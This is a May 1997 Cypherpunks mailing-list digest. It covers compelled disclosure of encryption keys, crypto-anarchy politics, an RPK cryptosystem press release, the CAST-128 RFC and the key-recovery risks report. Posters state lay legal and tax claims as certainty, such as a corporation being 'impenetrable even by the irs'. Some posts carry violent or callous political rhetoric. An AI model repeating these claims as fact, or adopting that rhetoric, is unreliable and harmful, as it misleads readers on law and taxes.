~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From update at interactive.wsj.com  Thu May 22 09:34:32 1997
From: update at interactive.wsj.com (WSJ Interactive Edition Editors)
Date: Thu, 22 May 1997 09:34:32 -0700 (PDT)
Subject: Free Wall Street Journal Interactive Edition on PointCast
Message-ID: <3.0.32.19970522114457.00a32ccc@pop.dowjones.com>


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From ravage at EINSTEIN.ssz.com  Wed May 21 18:38:22 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Thu, 22 May 1997 09:38:22 +0800
Subject: encryption laws (fwd)
Message-ID: <199705220049.TAA14688@einstein.ssz.com>


Forwarded message:

> Subject: Re: encryption laws (fwd)
> From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)

> > If they had reasonable cause to believe you had knowledge of the key and
> > were refusing to divulge it under direct order of the court you would be
> > held in contempt until you were very old and gray.
> 
> Yes - the 5th Amendment is useless like all the other consitutional "rights".

The 5th is meant to apply ONLY to persons being accussed of a crime, it is
not nor was it ever meant to protect non-accussed persons from turning over
evidence of criminal acts.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage at ssz.com






From ravage at einstein.ssz.com  Wed May 21 18:41:58 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 22 May 1997 09:41:58 +0800
Subject: Compelling a key (fwd)
Message-ID: <199705220045.TAA14677@einstein.ssz.com>



Hi Tim,

And here I was believing your speal about being in your kill file, oh well.
It must be true that nothing is sacred.

Forwarded message:

> Date: Tue, 20 May 1997 22:33:35 -0800
> From: Tim May 
> Subject: Compelling a key

> >> Would it be possible for a court to subpeona a encrypted file or key,
> >>
> >> and order you to tell them the key ?
> >> If you didn't would you be held in 'contempt of court' ?
> >
> >If they had reasonable cause to believe you had knowledge of the key and
> >were refusing to divulge it under direct order of the court you would be
> >held in contempt until you were very old and gray.
> 
> Not necessarily. Mike Godwin, and others, have written about the
> "compelling of keys." It is by no means clear that a key can be compelled.
> Citing the Fifth is one approach, saying one "forgot" is another.

Citing the 5th ONLY works if no immunity from prosecution for the results
is offered. If the judge offers and you refuse, don't worry about buying
toothpaste for many years.

Saying you 'forgot' will not keep you out of jail on contempt. It might
buy you sympathy from the jury but then again, they have nothing to say
about contempt charges.

> As to being held indefinitely, imprisonment as an inducement to cooperation
> has limits. (I just saw a spiel by Alan Dershowitz and others on this
> tonight, vis-a-vis how long Susan McDougal can be imprisoned for contempt
> in the Whitewater investigation.)
> 
> Basically, only until there is no reasonable expectation that the contempt
> will be satisfied (or whatever the exact term is).
>
> In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
> who refused to say where her children were, was held for about 2 years, and
> that this was the all-time record for a contempt case. She was ultimately
> released when the court concluded she had no intention of cooperating.

Exactly! It is ENTIRELY up to the individual judge who issued the contempt
citation. If they are pissed enough 2 years will be nothing. As far as I
have been able to find there are NO statutes, other than that of a statute
of limitation for a particular type of crime, that limit how long you can
sit in jail on contempt.

The only way you would get out in that case would be to file with the
appropriate courts for a writ of habeas corpus.

                                                  Jim Choate
                                                  CyberTects
                                                  ravage at ssz.com






From kent at songbird.com  Wed May 21 18:54:23 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 22 May 1997 09:54:23 +0800
Subject: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: <19970521184119.00519@bywater.songbird.com>


On Wed, May 21, 1997 at 11:41:08AM -0800, Tim May wrote:
> 
[...]
> I almost never think government agents, even most rulers, are in any
> meaningful sense "evil."

Ah, good.  Sanity has returned for a moment.

> I've written in the past about "institutional" issues, and about
> Nietzsche's "Beyond Good and Evil." The problems in the United States, with
> bloated welfare roles, a "policeman for the world" mentality, an overly
> litigous/litigious society, etc., come not from any personal evil on the
> part of the elected or appointed officials, but rather from an inexorable
> growth of certain institutions in predictable ways. Any enity, be it an
> organism or an institution, a living plant like a tree or a corporation
> like PGP, Inc., grows and thrives by how well it competes, how well it
> bends toward the sources of food and energy, and what genes or memes it
> received. "The purpose of any organism is to survive" is a telelogical
> truism, of course. But it is still true. All institutions--corporations,
> clubs, Cypherpunks--seek to prosper and grow, in various ways. Even if not
> directed by a central nervous system.
> 
> In corporations, even individual departments seek to grow. This aids in
> career advancement. "Empire building" happens with countries, government
> bureaucracies, corporations, clubs, and so on.
> 
> There are perfectlylogical game-theoretic reasons why the Washington
> bureaucracy has gotten so large, why every one of the 500+ Congresscritters
> has a staff of dozens working for him or her, why each of the dozen or so
> major Cabinet departments has dozens of buildings and thousands (even
> millions, as with DoD) of worker bees, why each entity in government seeks
> constantly to expand its scope and powers, and why the number of rules,
> regulations, laws, emergency orders, and edicts expands inexorably every
> day.
> 
> "Evil" is not a useful way to analyze this problem. In this sense, everyone
> in government is an "innocent." But the problem still needs to be fixed.

I don't think this problem can be "fixed" in any meaningful way.  You
just argued that the problem is a consequence of "perfectly logical
game-theoretic reasons".  There is nothing in the crypto-anarchy
agenda or your revolutionary rhetoric that are going to make those
game-theoretic reasons go away.  "Meet the new boss, same as the old
boss".  The new boss may hide behind a cryptographic curtain, but he
will still scheme and plot to expand his power, and join with his
allies to attack his enemies, and after he has defeated those enemies
he will attempt to stab his allies before they stab him.  Thus it is 
with you; thus it is with me; thus it is with humanity.

Americans especially are spoiled: the European colonists, like
Darwin's finches, were able to expand freely into a whole virgin
economic ecosystem, and evolve to fit many unoccupied niches.  Now the
niches are full, and competition is hard.  Now those free-ranging
Americans have to deal with diminishing expectations.  All the free
stuff is gone; the pie gets cut into thinner and thinner pieces.  In
every field there are thousands of talented competitors.  In the
compressed time of high tech we now see patents on trivial and
picayune ideas that not too many years ago would have been considered
too obvious to bother with.  Groups of 40 scientists coauthor papers
concerned with esoteric minutia.  Musicians scrabble to get "their" 
music copyrighted.  Athletes talk about patenting their "moves".  

The frustrations of the bubba-cypherpunks with their ego-bolstering
arsenals are yet another symptom, same as the bubba-militiamen.  They 
fixate on the "gubmint" as the source of all that's wrong, hatch 
conspiracies, and keep muttering obscenities and veiled threats, until 
their imagined enemies become real.

> And in fixing these institutions it is unavoidable that "non-evil" persons
> will be affected. How could it be otherwise? Some will lose their careers,
> some their current jobs, some may even lose their lives. (No, this is not a
> threat, just a statement of the obvious, a prediction.)
> 
> Innocents in Washington and elsewhere will, if they have any sense of their
> own future security, seek to avoid the institutions and power centers which
> will be affected by the necessary restructurings.

My friend, we are on this train together.  If it wrecks we are all at
risk.  You can hide in your abatis on your hill, but the protection it
offers is a complete and utter illusion.  There isn't going to be any
"restructuring" that doesn't affect us all.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From cpunks at algebra.com  Wed May 21 19:07:16 1997
From: cpunks at algebra.com (cpunks at algebra.com)
Date: Thu, 22 May 1997 10:07:16 +0800
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next Generation Wireless Electronic Transactions (fwd)
Message-ID: <199705220159.UAA23432@manifold.algebra.com>


----- Forwarded message from Jack Oswald -----

>From cpunks at manifold.algebra.com  Wed May 21 01:48:18 1997
Message-ID: <01BC6572.43D8F3A0 at 1Cust125.Max9.San-Francisco2.CA.MS.UU.NET>
From: Jack Oswald 
To: "'joswald at rpkusa.com'" ,
        "'maujacca at iprolink.ch'"
	 
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next Generation Wireless Electronic Transactions
Date: Tue, 20 May 1997 18:41:20 -0700
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Sender: owner-cypherpunks at toad.com
Precedence: bulk

Also see recent press coverage in Infoworld:

RPK announces deal for fast crypto with Swiss consortium
http://www.infoworld.com/cgi-bin/displayStory.pl?97059.wrpk.htm=20

SET 2.0 on the way
http://www.infoworld.com/cgi-bin/displayArchive.pl?/97/16/t04-16.1.htm=20

PRESS RELEASE

For Release May 19, 1997

RPK, Inc.: 	Jack Oswald, +1 408.479.7874, joswald at rpkusa.com, =
http://www.rpk.co.nz=20
ADESA, Inc.: 	Maurice Jaccard,+41 22.910.29.14, maujacca at iprolink.ch


Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next =
Generation Wireless Electronic Transactions
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc. introduce =
HAWK VLSI cryptography-enhanced processor

San Francisco, CA - RPK, Inc. announced today that a consortium of the =
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc., a Swiss =
application specific integrated circuit (ASIC) design firm have chosen =
the RPK Fast Public Key Cryptosystem to provide strong cryptographic =
security in a next generation wireless electronic transactions =
application.  At the same time, EPFL and ADESA unveiled HAWK a new =
generation cryptography-enhanced microprocessor specifically designed =
for use in high speed/low power embedded applications.

"The RPK encryption technology won the design review after an extensive =
evaluation of all existing cryptosystems based on well known and =
understood cryptographic techniques," said Maurice Jaccard, Managing =
Director of ADESA, Inc. "With RPK there are no compromises. We get =
uncompromised security, high speed and low cost of implementation."

"RPK is a strong encryption technology based on well know and trusted =
cryptographic techniques," said Jack Oswald, President and CEO of RPK =
Inc. "Having RPK chosen by the Swiss for this breakthrough =
electronic-commerce application is the strongest endorsement we could =
possibly achieve for the RPK technology."


Wireless Electronic Transactions Application

The collaboration of RPK, EPFL and ADESA has resulted in a prototype =
application that promises to become the "wallet of the future".  This =
new wireless electronic transaction application may take the form of a =
credit card, a watch or a key chain and will sport features analogous to =
the leather wallets used today by billions of people worldwide.  Early =
designs of the system allow the user to withdraw and hold cash in =
multiple currencies, as well as, purchase and hold vouchers for hotels, =
planes and car rentals all through the use of wireless communications =
technology.  Officials in charge of the project envision that such =
devices could also become a personal key chain for gaining access to =
motor vehicles, offices and dwellings, in addition to traditional credit =
card uses.

ADESA concluded that performance of the RPK implementation in the =
prototype far exceeded existing smart card implementations based on the =
RSA and other algorithms.  The RPK technology performs the necessary =
encryption functions in less than 10 milliseconds using an 823-bit key =
compared to the best performing RSA-based equivalents that require =
greater than 100 milliseconds to perform the same type of function using =
a much weaker 512-bit key.  The application is not limited to 823-bit =
keys.  The design of the system, based on the new HAWK processor is =
flexible and can accommodate and process various sized keys, smaller or =
larger than 823 bits based on downloadable parameters.  ADESA officials =
explained that the simplicity of the RPK algorithm makes it much simpler =
to implement than the popular RSA approach.  It was RPK's simplicity, =
offering a much faster and cheaper solution while providing even higher =
security, that drove the choice over RSA for this application. =20


About the RPK Fast Public Key Cryptosystem

RPK is a relatively new public key cryptosystem  that is based on =
mathematics widely used in cryptography today.  It was designed to be =
immediately commercially viable without the years of study that a new =
area of mathematics normally requires, such as the Elliptic Curve =
Cryptosystem (ECC).  The source of the security for RPK is the same as =
that of Diffie-Hellman key exchange, a widely used and well studied =
cryptographic technique. RPK offers real advantages for high speed =
networking, SmartCard, wireless communication applications as well as =
high volume software processes such as credit card transactions.=20

RPK has at its core an invention called a Mixture Generator.  In the =
preferred implementation, three fairly long linear feedback shift =
registers are used.  This state machine has two modes of operation.  One =
that uses the shift registers for exponentiation and the other as a =
generator of a random stream of bits used in a combining phase for the =
actual encryption.  Effectively, RPK allows for the amortization of two =
"costly" exponentiations over the entire length of a message because the =
core engine is used to initially establish a secure state of the machine =
and then switches modes to perform very high speed encryption.  This has =
been referred to as a paradigm shift where the operation of encryption =
does not require the costly calculations that an RSA or even an ECC =
implementation would require for each block of data that is about the =
size of the key.  This mechanism can also be implemented in silicon =
quite efficiently such that at high strength it is much cheaper to =
produce than alternative technologies.  Finally, it is also possible to =
create a Mixture Generator that is made up of Elliptic Curve groups =
which would provide a similarly speedy and efficient initialization mode =
that could still produce high speed encryption as noted above.


About the HAWK VLSI Crypto Processor

The HAWK VLSI cryptography-enhanced processor is the result of more than =
three years of research and development conducted at the EPFL in =
Lausanne, Switzerland in the area of high speed compression and =
encryption.  The HAWK processor will benefit most cryptography =
implementations but is particularly well suited for use with RPK.

"The HAWK processor is the most innovative approach that we have seen =
yet for implementing cryptographic processes in silicon," said Bill =
Raike, Chief Technology Officer for RPK Inc. and inventor of the RPK =
fast public key cryptosystem.  "HAWK breaks the barrier for high speed, =
low cost, low power and high strength encryption for embedded systems."



Background

RPK, Inc. is a supplier of next generation fast public key encryption =
technology.  RPK was invented and originally patented in New Zealand.  =
The company is therefore unaffected by restrictive U.S. export rules.  =
RPK has been successfully exported to virtually all countries of the =
world at high strength.  The company's headquarters are based in San =
Francisco, California, USA, with an offshore research and development =
center located outside of Auckland, New Zealand. http://www.rpk.co.nz=20

ADESA, Inc. is a leading ASIC design firm based in Geneva, Switzerland =
with expertise in embedded and cryptographic applications.

EPFL is a leading teaching and research technical institute in Lausanne, =
Switzerland.  The school is known for its work in advanced processor =
design.


***

----- End of forwarded message from Jack Oswald -----






From tcmay at got.net  Wed May 21 19:14:53 1997
From: tcmay at got.net (Tim May)
Date: Thu, 22 May 1997 10:14:53 +0800
Subject: "You have the right to remain silent"
In-Reply-To: <199705220049.TAA14688@einstein.ssz.com>
Message-ID: 


At 4:49 PM -0800 5/21/97, Jim Choate wrote:
>Forwarded message:
>
>> Subject: Re: encryption laws (fwd)
>> From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
>
>> > If they had reasonable cause to believe you had knowledge of the key and
>> > were refusing to divulge it under direct order of the court you would be
>> > held in contempt until you were very old and gray.
>>
>> Yes - the 5th Amendment is useless like all the other consitutional
>>"rights".
>
>The 5th is meant to apply ONLY to persons being accussed of a crime, it is
>not nor was it ever meant to protect non-accussed persons from turning over
>evidence of criminal acts.

So you are saying the police may compel any and all information from
someone just so long as that person has not been formally accused of a
crime?

The Miranda precedent ("you have the right to remain silent...")
establishes that someone under arrest may remain silent. And someone _not_
under arrest is under no obligation to cooperate, unless subpoenaed, right?

The latest example being the Ramsey case in Boulder ("Home of PGP"). Much
is made of the fact that the Ramseys, not being under arrest, are not
required to *say anything* to the police. (Left unanswered is why innocent
parents whose daughter has been brutally murdered would choose to say
nothing to the police...even I, a skeptic about much that modern cops are
involved in, am suspicious of the Ramseys for their noncooperativeness.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From wombat at mcfeely.bsfs.org  Wed May 21 19:14:54 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Thu, 22 May 1997 10:14:54 +0800
Subject: Hey, what does this mean?
In-Reply-To: 
Message-ID: 




Didn't a member of congress describe, in session, in detail, how to make a
bomb, quoting instructions found on the Internet? Wouldn't this make
possesion of the Congressional Record a felony? Anybody able to cite this
reference? 

-r.w.

On Wed, 21 May 1997, Ryan Anderson wrote:

> On Tue, 20 May 1997, Tim May wrote:
> 
> > Anybody know what this means?
> 
> > According to Arlington detective Tom DeGongue, Aaron was charged Monday in
> > Arlington Circuit Court with one felony count of possession of bomb-making
> > instructions and one misdemeanor count of resisting arrest. According to
> 
> Felony count of possession of bomb-making instructions?  *INSTRUCTIONS*?
> 
> he'll be on the streets tomorrow, no charges pressed.
> 
> -----------------------------------------------------------------------
> Ryan Anderson -      "Who knows, even the horse might sing" 
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> -----------------------------------------------------------------------
> 
> 






From dgilx at mindspring.com  Wed May 21 19:19:45 1997
From: dgilx at mindspring.com (David Gilchrist)
Date: Thu, 22 May 1997 10:19:45 +0800
Subject: Just Say "No" to Congress
Message-ID: <1.5.4.32.19970522020304.006b9780@pop.mindspring.com>


At 04:26 PM 5/21/97 -0400, Ray Arachelian wrote:
>On Sun, 18 May 1997, Vladimir Z. Nuri wrote:
>
>> R.A.:
>> >You seem to be misinformed.  You don't send your money to Uncle Sam.  It 
>> >gets taken out of every pay check before you even see it.   Then, come 
>> >April 15, you fill a piece of paper out with the hope you'll get some of 
>> >it back.  But sometimes, Uncle Sam takes even more.

Don't do it.  Work for yourself.  You make four payments a year. 



>I myself consult out.  Consulting out means that the money isn't taken 
>out at all.  You just have to pay it back come April 15.  Day job, being 
>a full time job, money gets taken out automagically by the evil agents 
>of the IRS critters.  Consulting money, come the 1099 form, gets taxed 
>after.

Incorporate and you don't even get a 1099.  

>
>So even if you manage to upturn this law and get to keep the money until 
>April 15, it wouldn't affect me much.  IMHO it's much easier if the money 
>gets withheld, then having to pull hairs out doing tax forms come April.
>

Turbotax is hairless, painless and stupid proof. I know. I use it.

>Now if you can somehow repeal income tax, that would be a useful 
>achievement. :)

Consulting out is on the right track.  While you are waiting for the income
tax laws to change, _take advantage_ of what is lawfully available.  Crispin
wouldn't have a clue on this one.  Incorporate.  Any state.  It's cheap.
You can avoid some social security taxes for a system that won't be there in
few years anyway.  Remember when you could refile back a year or two if you
had a bad year (income averaging)?  A corporation can carry a loss back 15
years or *forward* , too, _and_ get a tax refund practically instantly.  It
is imho the levelest playing field available for the individual (wearing the
impenetrable corporate cloak (no shit, bulletproof), impenetrable even by
the irs) against taxation.  As for tax forms in April, use Turbotax.  You
don't have to know shit and it does complicated things for you like
depreciation.  Depreciate your car, your home office etc.  Own your assets
personally and lease them to your corporation.  Rents are free of social
security taxes.  Your car, your office etc.  With a little imagination you
may be able to make it fit your situation. If you're straight salary, _no_
other (reportable) income, you may be pretty much screwed but paying them
when you don't have to doesn't make much sense.
>

>> I don't buy into the alienation and cynicism on this list peddled
>> by TCM, truthmonger, et.al., and I suggest that anyone else who
>> does is selling themself short, and in fact part of the problem and
>> not the solution.

That's my point, use them when you can.
>
>"If you're not part of the solution, you're part of the precipitate"  --
>whomever.. Say, whatever you've been smoking,

precipitate

David






From tcmay at got.net  Wed May 21 19:23:38 1997
From: tcmay at got.net (Tim May)
Date: Thu, 22 May 1997 10:23:38 +0800
Subject: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: 


At 5:41 PM -0800 5/21/97, Kent Crispin wrote:

>I don't think this problem can be "fixed" in any meaningful way.  You
>just argued that the problem is a consequence of "perfectly logical
>game-theoretic reasons".  There is nothing in the crypto-anarchy

Game-theoretic reasons depends on the rules of the game. Actually, the
rules are already changing, e.g., Clinton's agreement to end welfare in the
next few years, which will without a doubt alter the rules of the game
which have made welfare a viable career for so many millions...these folks
are on the verge of either learning a real trade (doubtful) or starving
(hooray).

But more rules need to change. Many of us (most of us?) expect strong
crypto to be a catalyst for some major changes. You, Kent, obviously
disagree, and push for more government involvement to shore up the existing
rules.

You are not evil, as per my point, but your kind will be swept aside,
possibly violently but probably through a shut-down of the Livermore Labs.

(My spies within LLL tell me of desperate efforts to find alternative
funding sources, e.g., the "Extreme UV" project. Ultimately, hopeless. A
government lab which loses its main raison d'etre cannot reconfigure itself
as a "think tank" for private industry. Gimme a break.)



>The frustrations of the bubba-cypherpunks with their ego-bolstering
>arsenals are yet another symptom, same as the bubba-militiamen.  They
...

Back into my kill file you go, Kent. I had hope that by looking at your
messages after a few weeks of ignoring you I might find something fresher.
Same old insults.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Wed May 21 19:53:57 1997
From: tcmay at got.net (Tim May)
Date: Thu, 22 May 1997 10:53:57 +0800
Subject: Compelling a key (fwd)
In-Reply-To: <199705220045.TAA14677@einstein.ssz.com>
Message-ID: 


At 4:45 PM -0800 5/21/97, Jim Choate wrote:
>Hi Tim,
>
>And here I was believing your speal about being in your kill file, oh well.
>It must be true that nothing is sacred.

Before I even look at the rest of your message, let me make my filtering
policy clear: I freely move people into my filter file, which puts their
messages in my Eudora trash file. These messages are still viewable, unless
I have issued the "Empty Trash" command.

When volumes are low, or I have spare time and/or curiosity, I can look
into the  Trash folder to see what has accumulated. Usually its a lot of
crap from Vulis, and from his shadow, Graham John-Bullers, etc..

Sometimes I move names out of this filter file. "Random reinforcement,"
where they never know whether I'm reading their messages or not, has some
advantages.

(I did this with Kent Crispin just recently.)

On to your message:


>> In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
>> who refused to say where her children were, was held for about 2 years, and
>> that this was the all-time record for a contempt case. She was ultimately
>> released when the court concluded she had no intention of cooperating.
>
>Exactly! It is ENTIRELY up to the individual judge who issued the contempt
>citation. If they are pissed enough 2 years will be nothing. As far as I
>have been able to find there are NO statutes, other than that of a statute
>of limitation for a particular type of crime, that limit how long you can
>sit in jail on contempt.


Agreed.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From adam at homeport.org  Thu May 22 11:03:37 1997
From: adam at homeport.org (Adam Shostack)
Date: Thu, 22 May 1997 11:03:37 -0700 (PDT)
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
Message-ID: <199705221736.NAA17266@homeport.org>


I hadn't seen this mentioned.  This is to coderpunks, bcc'd to
cypherpunks & cryptography.

Adam


------

A new Request for Comments is now available in online RFC libraries.


        RFC 2144:

        Title:      The CAST-128 Encryption Algorithm
        Author:     C. Adams
        Date:       May 1997
        Mailbox:    cadams at entrust.com
        Pages:      15
        Characters: 37532
        Updates/Obsoletes: None

        URL:        ftp://ds.internic.net/rfc/rfc2144.txt


There is a need in the Internet community for an unencumbered 
encryption algorithm with a range of key sizes that can provide 
security for a variety of cryptographic applications and protocols.  
This document describes an existing algorithm that can be used to 
satisfy this requirement.

This memo provides information for the Internet community.  This memo
does not specify an Internet standard of any kind.  Distribution of
this memo is unlimited.








From canthony at info-nation.com  Wed May 21 20:49:03 1997
From: canthony at info-nation.com (Charles Anthony)
Date: Thu, 22 May 1997 11:49:03 +0800
Subject: (Fwd) key recovery report, information hiding, and fire ants
Message-ID: <199705220314.WAA13532@bitstream.net>


------- Forwarded Message Follows -------
Date:          Wed, 21 May 1997 09:45:53 -0700 (PDT)
From:          Phil Agre 
To:            rre at weber.ucsd.edu
Subject:       key recovery report, information hiding, and fire ants
Reply-to:      rre-maintainers at weber.ucsd.edu

[I trust Matt and Ross, but the fire ants story is too good to be true.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help at weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Wed, 21 May 1997 07:05:53 -0700 (PDT)
From: risks at csl.sri.com
Subject: RISKS DIGEST 19.17

RISKS-LIST: Risks-Forum Digest  Wednesday 21 May 1997  Volume 19 : Issue 17

----------------------------------------------------------------------

Date: Tue, 20 May 1997 20:27:08 -0400
From: Matt Blaze 
Subject: RISKS of Key-Recovery Encryption

In January 1997, an ad-hoc group of cryptographers and computer scientists
met to explore the technical implications, risks, and costs of the ``key
recovery'', ``key escrow'' and ``trusted third party'' encryption systems
being promoted by various governments.  We have just completed a preliminary
report of our findings.

We have specifically chosen not to endorse, condemn, or draw conclusions
about any particular regulatory or legislative proposal or commercial
product.  Rather, it is our hope that our findings will shed further light
on the debate over key recovery and provide a long-needed baseline analysis
of the costs of key recovery as policymakers consider embracing one of the
most ambitious and far-reaching technical deployments of the information
age.

Our preliminary report is available as follows:

On the web at:
   http://www.crypto.com/key_study

In PostScript format via ftp:
   ftp://research.att.com/dist/mab/key_study.ps

In plain ASCII text format via ftp:
   ftp://research.att.com/dist/mab/key_study.txt

=======================================================================

	      THE RISKS OF KEY RECOVERY, KEY ESCROW, AND
		    TRUSTED THIRD-PARTY ENCRYPTION

			     Hal Abelson
                            Ross Anderson
			  Steven M. Bellovin
			     Josh Benaloh
			      Matt Blaze
	                   Whitfield Diffie
			     John Gilmore
			   Peter G. Neumann
			   Ronald L. Rivest
			 Jeffery I. Schiller
			    Bruce Schneier

			     21 May 1997

Executive Summary:

A variety of ``key recovery,''``key escrow,'' and ``trusted third party''
encryption requirements have been suggested in recent years by government
agencies seeking to conduct covert surveillance within the changing
environments brought about by new technologies.  This report examines the
fundamental properties of these requirements and attempts to outline the
technical risks, costs, and implications of widely deploying systems that
provide government access to encryption keys.

The deployment of a global key-recovery-based encryption infrastructure to
meet law enforcement's stated specifications will result in substantial
sacrifices in security and greatly increased costs to the end-user.
Building the secure infrastructure of the breathtaking scale and complexity
demanded by these requirements is far beyond the experience and current
competency of the field.  Even if such an infrastructure could be built, the
risks and costs of such a system may ultimately prove unacceptable.

These difficulties are a function of the basic law enforcement requirements
proposed for key-recovery encryption systems.  They exist regardless of the
design of the recovery system -- whether the system uses private-key
cryptography or public-key cryptography; whether the database is split with
secret sharing techniques or maintained in a single hardened secure
facility; and whether the recovery service provides private keys, session
keys, or merely decrypts specific data as needed.

All key-recovery systems require the existence of a highly sensitive and
highly available secret key or collection of keys that must be maintained in
a secure manner over an extended time period.  These systems must make
decryption information quickly accessible to law enforcement agencies
without notice to the key owners.  These basic requirements make the problem
of general key recovery difficult and expensive -- and potentially too
insecure and too costly for many applications and many users.

Attempts to force the widespread adoption of key-recovery encryption through
export controls, import or domestic use regulations, or international
standards should be considered in light of these factors.  The public must
carefully consider the costs and benefits of embracing government-access key
recovery before imposing the new security risks and spending the huge
investment required (potentially many billions of dollars, in direct and
indirect costs) to deploy a global key recovery infrastructure.

------------------------------

Date: Sat, 17 May 1997 13:59:48 +0100
From: Ross Anderson 
Subject: Information-Hiding Workshop

Call for Papers, WORKSHOP ON INFORMATION HIDING (pruned for RISKS)
15 - 17 April 1998, Portland, Oregon

Many researchers are interested in hiding information or in stopping other
people doing this. Current research themes include copyright marking of
igital objects, covert channels in computer systems, subliminal channels in
cryptographic protocols, low-probability-of-intercept communications,
broadcast encryption schemes, and various kinds of anonymity services
ranging from steganography through location security to digital elections.

These closely linked areas of study were brought together in 1996 by a
workshop on information hiding held at the Isaac Newton Institute in
Cambridge. This was felt to be very worthwhile by the research community,
and it was decided to hold a second workshop in 1998.

This second international workshop on information hiding will be held in
Portland, Oregon from the 15th to the 17th April 1998.

See http://www.cl.cam.ac.uk/users/rja14/ihws.html for the call for papers.
Papers should be submitted by 31 Dec 1997 to awk at mailbox.jf.intel.com
(Program Chairman David Aucsmith, Intel Architecture Labs, 5200 N. E. Elam
Young Parkway, Hillsboro, OR 97124-6497, USA).  The program committee also
includes Ross Anderson, Steve Low, Ira Moskowitz, Andreas Pfitzmann,
Jean-Jacques Quisquater, Gus Simmons, and Michael Waidner.

Details of the first (1996) information-hiding workshop are at
http://www.cl.cam.ac.uk/users/fapp2/steganography/bibliography/workshop.html

  [Watch out for the invisible steganosauruses.  PGN]

------------------------------

Date: Tue, 20 May 1997 12:33:20 -0400
From: "Mich Kabay [NCSA]" 
Subject: Another Computer Bug: Ants in the Machine

>From WIRED via PointCast:

> Another Computer Bug: Ants in the Machine
> by Ashley Craddock, 19 May 1997

> Stephanie Upps watched in horror as one of her final papers disappeared
> off her PowerBook at 2 a.m. one night during her last semester as a
> University of Texas graduate student. Her friends couldn't find the bug,
> so she called the 1-800 support line in desperation.  "They told me to
> pull out the battery and give them the serial number," she says. "When I
> did, it was just crawling with ants."  Far from a fluke, Upps' encounter
> with ants in the machine is happening to others with greater
> frequency. "The problem's endemic across Texas," she said.

The author makes the following key points:

* Major problem is fire ants, an exotic introduced to the Southern US in
  the 1920s.

* Fire ants seem to like living in and eating electrical equipment.

* The critters may be attracted by electrical fields; Craddock writes,`
  "They have some short-range attraction to electricity," says Dr. Harlan
  Thorvilson of Texas Tech's Department of Plant and Soil Sciences. . . .
  "They become almost mesmerized and behave oddly, piling dirt against the
  wires and signaling to other members of their communities who come and
  join them." ' 

[MK: I don't want to make a mountain out of an ant-hill, but this looks like
a case of form(icidae) over function.  I expect further creepy puns from our
moderator, perhaps about how the victims are engaged in formication and
should ant-icipate trouble.]

M.E. Kabay, PhD, CISSP (Kirkland, QC), Director of Education
